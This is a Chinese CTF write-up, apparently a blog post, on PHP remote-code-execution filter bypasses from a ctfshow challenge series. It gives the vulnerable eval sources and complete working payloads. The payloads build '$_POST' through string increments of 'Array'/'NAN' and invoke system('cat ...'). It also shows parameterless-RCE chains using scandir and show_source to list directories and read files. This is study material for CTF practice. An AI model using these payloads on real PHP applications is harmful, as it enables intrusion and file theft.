一些RCE的汇总

本文详细介绍了在PHP环境中,利用自增操作符绕过过滤实现远程代码执行(RCE)的各种方法,包括过滤特殊字符后的RCE构造、利用NaN和数组自增的技巧,以及在不同字符限制下的最小payload构造。还提到了无参数RCE的思路和常见函数的利用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >


前两天刚好ctfshow有个RCE极限大挑战,看着还挺好玩的,稍微摸了几个博客总结一下,感受感受大佬们的绕过技巧和思路。
直接照搬好像又不太合适,加一点点个人见解好了。

自增RCE

参考[CTFshow-RCE极限大挑战官方wp]

wp指路

CTFshow-RCE极限大挑战官方wp

开始复现

RCE-1[过滤.(]

题目源码

<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
$code = str_replace("(","括号",$code);
$code = str_replace(".","点",$code);
eval($code);
?>

过滤了(.,wp有写文件包含,ls看了一眼直接开摆
在这里插入图片描述
因为php的反引号可以执行系统命令,就可以直接POST得到flag

code=echo `$_POST[1]`;&1=cat /f*

在这里插入图片描述

RCE-2p[自增-Array]

题目源码

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow)) {
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

禁用了字母数字和很多符号,可以用的符号有’$_;+,可以确定是按照自增的方式来构造webshell进行RCE,payload构造过程:
从这里开始进入正题了,由于异或^和取反~都被过滤了,就可以用到数组[]和递增++

先解释,顺便把RCE-345里用到的N解释一下
将数据类型转换成字符串型,就能得到数据类型相对应的字符串

<?php
// highlight_file(__FILE__);
$_ = [];//Array
echo $_.'<br>';
$_ = [].'';//Array
echo $_.'<br>';
$_ = "$_";//Array
echo $_.'<br>';
$_ = $_['!'=='@'];//Array[0]=>A
echo $_.'<br>';
echo '可以通过(0/0)来构造float型的NAN,(1/0)来构造float型的INF,然后转换成字符串型,得到"NAN"和"INF"中的字符了<br>';
@$a=(0/0);//NAN
echo $a.'<br>';
@$b=(1/0);//NAN
echo $b;
?>

在这里插入图片描述
exp就直接照抄了,因为0被过滤了,就只能用数组的A来自增了

<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$____='_';//_
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//P
$____.=$__;//_P
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//O
$____.=$__;//_PO
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//S
$____.=$__;//_POS
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//T
$____.=$__;//_POST
$_=$____;//_POST

$$_[__]($$_[_]);//$_POST[__]($_POST[_]);
?>

通过url编码后用Burpsuite工具POST上传即可
HackbarPOST的url编码会被以另一种编码上传到服务器,导致数据失真

ctf_show=%24%5F%3D%5B%5D%2E%27%27%3B%24%5F%3D%24%5F%5B%27%27%3D%3D%27%24%27%5D%3B%24%5F%5F%5F%5F%3D%27%5F%27%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%3D%24%5F%5F%5F%5F%3B%24%24%5F%5B%5F%5F%5D%28%24%24%5F%5B%5F%5D%29%3B&__=system&_=cat /f1agaaa

RCE-3[自增-NAN-<=105字符]

题目源码

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
        if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

可以看到01被放出来了,然后限制了长度为105字符
用RCE-2提到的(0/0)得到N,然后自增构造出$_POST一句话木马,过程wp里的注释已经清楚明了了

<?php
$a=(0/0);//NAN
$a.=_;//NAN_
$a=$a[0];//N
$a++;//O
$o=$a++;//$o=$a++是先把$a的值给$o,然后再对$a进行自增,所以这一句结束的时候 $a是P,$o是O
$p=$a++;//$a=>Q,$p=>P
$a++;$a++;//R
$s=$a++;//S
$t=$a;//T
$_=_;//_
$_.=$p.$o.$s.$t;//_POST
$$_[0]($$_[1]);//$_POST[0]($_POST[1]);

然后常规变量名替换成不可见字符变量名,得到payload:

ctf_show=$%ff=(0/0);$%ff.=_;$%ff=$%ff[0];$%ff%2b%2b;$%fd=$%ff%2b%2b;$%fe=$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$%fc=$%ff%2b%2b;$%fb=$%ff;$_=_;$_.=$%fe.$%fd.$%fc.$%fb;$$_[0]($$_[1]);&0=system&1=cat /f1agaaa

RCE-4[自增-NAN-<=84字符]

题目源码

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
        if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

开始上难度了,84字符,只可以用数字0,那么不影响我们使用(0/0)来构造NAN, 但是更为优秀的写法可以是$a=(_/_._)[0]直接得到字母N,同时$a=(0/0._)会出现语法报错。
先演示

<?php
error_reporting(0);
$a = (_/_);
echo $a.'<br>';
$a = (_/_._);
echo $a.'<br>';
$a = (_/_._)[0];
echo $a;
?>

在这里插入图片描述

payload构造过程:

<?php
$a=(_/_._)[0];//直接拼接成字符串并切片
$o=++$a;//$o=++$a是先把$a进行自增,自增完成之后再将值返回,也就是这一句结束的时候 $a和$o都是O
$o=++$a.$o;//$o=>PO,$a=>P
$a++;//Q
$a++;//R
$o.=++$a;//$o=>POS,$a=>S
$o.=++$a;//$o=>POST,$a=>T
$_=_.$o;//_POST
$$_[0]($$_[_]);//$_POST[0]($_POST[_]);

同上

ctf_show=$%ff=(_/_._)[0];$%fe=%2b%2b$%ff;$%fe=%2b%2b$%ff.$%fe;$%ff%2b%2b;$%ff%2b%2b;$%fe.=%2b%2b$%ff;$%fe.=%2b%2b$%ff;$_=_.$%fe;$$_[0]($$_[_]);&0=system&_=cat /f1agaaa

RCE-5[自增-gettext扩展]

题目源码

 <?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
        if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

可以划重点记一下gettext的这个特性
限制73个字符,而且0也不可以用了,但是这里观察到phpinfo安装了一个扩展gettext,该扩展支持函数_() ,相当于gettext(),直接转化为字符串。另外,其实数组下标使用未定义常量,php会warning,但是可以继续运行,并返回下标为0的字符(现象是这样但是实际机制需要看php源码)。其余知识点上面都已经讲过了,剩下的就是靠经验和积累对payload进行精简,下面是payload构造过程:

<?php
$a=_(a/a)[a];//相当于gettext(0/0)[0],得到N
$_=++$a;//O
$_=_.++$a.$_;//_PO
$a++;$a++;//R
$_.=++$a.++$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])

更改变量名

ctf_show=$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$$_[_]($$_[%ff]);&_=system&%ff=cat /f1agaaa

72位字符

$$yysd

另外说一下,被师傅们拿到了72位字符的方法,感谢@狸师傅、@yun0tian等师傅们的创意,下面是payload构造过程:

<?php
$a=_(a/a)[a];//N
++$a;//O
$_=$a.$a++;//PO
$a++;$a++;//R
$_=_.$_.++$a.++$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])

PAYLOAD

ctf_show=$%ff=_(%ff/%ff)[%ff];%2b%2b$%ff;$_=$%ff.$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$_=_.$_.%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);&%ff=system&_=cat /f1agaaa

关于为什么$_=$a.$a++;//PO,这还真说不出来,只能说,不管是$a++还是++$a,都是先第一位++,然后再照常执行++,先记着吧,后面万一想看php内核了就去研究一下

<?php
$d=1;
$c=$d.$d++.$d++.$d++.$d++.$d++.$d++.$d++.$d++;
echo $c."<br>";
$d=1;
$c=$d.++$d.++$d.++$d.++$d.++$d.++$d.++$d.++$d;
echo $c;
?>

在这里插入图片描述

68位字符

这个是真神,解释了我也看不懂

师傅们实在是太强了,目前在有gettext环境下,最短的payload长度是68!payload构造过程:

$_=_(a/a)[_];//N
$a=++$_;//O
$$a[$a=_.++$_.$a[$_++/$_++].++$_.++$_]($$a[_]);//巧妙的把两次$_++放在一起

上面第三行其实可以分开来看,php在执行的时候会先对方括号里面的内容进行解析

$a=_.++$_.$a[$_++/$_++].++$_.++$_//$a直接拼接出_POST
$$a[_POST]($$a[_])//$_POST[_POST]($_POST[_])

因为$a还没赋值,此时仍为O,所以$a[$_++/$_++]因为下标为NAN不存在就取第一位了

真的是奇思妙想,尤其是$a[$_++/$_++]这个操作,把两个$_++;结合在一起,虽然比分开来写多用了一个字符,但是可以把拼接_POST的操作合并在同一行里,反而节省了更多字符。实在是太强了,感谢@lazy_forever、@Article_kelp师傅的创意。
PAYLOAD2

ctf_show=$_=_(%ff/%ff)[_];$%ff=%2b%2b$_;$$%ff[$%ff=_.%2b%2b$_.$%ff[$_%2b%2b/$_%2b%2b].%2b%2b$_.%2b%2b$_]($$%ff[_]);&_POST=system&_=cat /f1agaaa

g4_simon:感谢师傅们的积极参与,我也在出题过程中学到了很多,师傅们在几小时内就把我研究了四天四夜的题给杀穿了,甚至比我想象的还要极限。本身CTF就是一个不断超越自己、超越极限的过程,希望这几个题能给师傅们带来一些启发。

启发,好大的启发。

无参数RCE

参考[RCE篇之无参数rce]

参考

RCE篇之无参数rce
PHP无参数RCE
无参数rce
浅谈无参数RCE
无参数RCE总结及文件读取学习

介绍

无参数rce,就是说在无法传入参数的情况下,仅仅依靠传入没有参数的函数套娃就可以达到命令执行的效果。
核心代码

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}

这段代码的核心就是只允许函数而不允许函数中的参数.通过正则匹配将不带函数的函数替换为空,若最终结果为;则执行eval($_GET[‘code’]);
此时只能用 a(b(c()));来RCE而不是a(b(c));

例题

先来个buuctf的例题 GXY_CTF “禁止套娃”
.git源码泄露得到index.php

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

三个正则,第一个禁用了一些伪协议,第二个就是无参数RCE,第三个过滤一些关键词。
最总Payload为:

?exp=print_r(scandir(pos(localeconv())));
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

第一条从里向外解释一下
localeconv()
在这里插入图片描述
php直接var_dump()可以得到

array(18) { ["decimal_point"]=> string(1) "." ["thousands_sep"]=> string(0) "" ["int_curr_symbol"]=> string(0) "" ["currency_symbol"]=> string(0) "" ["mon_decimal_point"]=> string(0) "" ["mon_thousands_sep"]=> string(0) "" ["positive_sign"]=> string(0) "" ["negative_sign"]=> string(0) "" ["int_frac_digits"]=> int(127) ["frac_digits"]=> int(127) ["p_cs_precedes"]=> int(127) ["p_sep_by_space"]=> int(127) ["n_cs_precedes"]=> int(127) ["n_sep_by_space"]=> int(127) ["p_sign_posn"]=> int(127) ["n_sign_posn"]=> int(127) ["grouping"]=> array(0) { } ["mon_grouping"]=> array(0) { } } 

pos()

pos()是PHP中的内置函数,用于返回内部指针当前指向的数组中元素的值。pos()是current()的别名
与其同时使用的还有
next()指针后移并输出内容
prev()指针前移并输出内容

scandir()就是目录遍历。
连起来就是scandir(pos(localeconv()));等价于scandir('.');
print_r输出当前内容,达到一个目录遍历的效果。

第二条
在这里插入图片描述

?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
array_reverse()翻转数组
然后next()获取到’flag.php’字符串,由于next()后的结果为字符串,所以不能next(next(Array)),局限性还是蛮大的
最后show_source()函数高亮文本内容得到flag

show_source() 函数对文件进行语法高亮显示。
本函数是 highlight_file() 的别名。

在这里插入图片描述

一些能用上的函数

getenv()获取当前环境变量
get_defined_vars()返回由所有已定义变量所组成的数组
	获取的四个全局变量$_GET$_POST$_FILES$_COOKIE,返回一个二维数组
array_flip()交换数组中的键和值
array_rand()从数组中随机取出一个或多个单元
array_reverse()返回单元顺序相反的数组
array_flip()交换数组中的键和值
current()pos()返回数组中的当前单元
getallheaders()这个函数的作用是获取http所有的头部信息
session_id()读取session,主要用法为session_id(session_start())
file_get_contents()将整个文件读入一个字符串
readfile()读取文件并写入到输出缓冲。
highlight_file()show_source() — 语法高亮一个文件
getcwd()取得当前工作目录
scandir()列出指定路径中的文件和目录
chdir()改变目录
dirname()返回路径中的目录部分
rand()产生一个随机整数
chr()返回指定的字符
time()返回当前的 Unix 时间戳 
localtime()取得本地时间localtime(time()) 返回一个数组,Array [0] 为一个 0~60 之间的数字hex2bin()转换十六进制字符串为二进制字符串
ceil()进一法取整
sinh()双曲正弦
cosh()双曲余弦
tan()正切
floor():舍去法取整
sqrt()平方根
crypt()单向字符串散列hebrevc:将逻辑顺序希伯来文(logical-Hebrew)转换为视觉顺序希伯来文(visual-Hebrew),并且转换换行符
hebrevc(crypt(arg)) [crypt(serialize(array()))]:可以随机生成一个 hash 值 第一个字符随机是 $(大概率) 或者 .(小概率) 然后通过 ord chr 只取第一个字符
ord()返回字符串的第一个字符的 ASCII 码值。

获得当前目录文件

var_dump(scandir(getcwd())); 
var_dump(scandir(current(localeconv()));  
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));    //利用三角函数和floor ceil,这个是php7下能够成功

获得上级目录文件

var_dump(scandir(dirname(getcwd())));
var_dump(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))));//这种方法理论上来说,每隔47秒才能成功执行一次
var_dump(scandir(chr(ceil(sqrt(cosh(tan(tan(tan(cosh(sinh(exp(chdir(next(scandir(pos(localeconv()))))))))))))))));
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值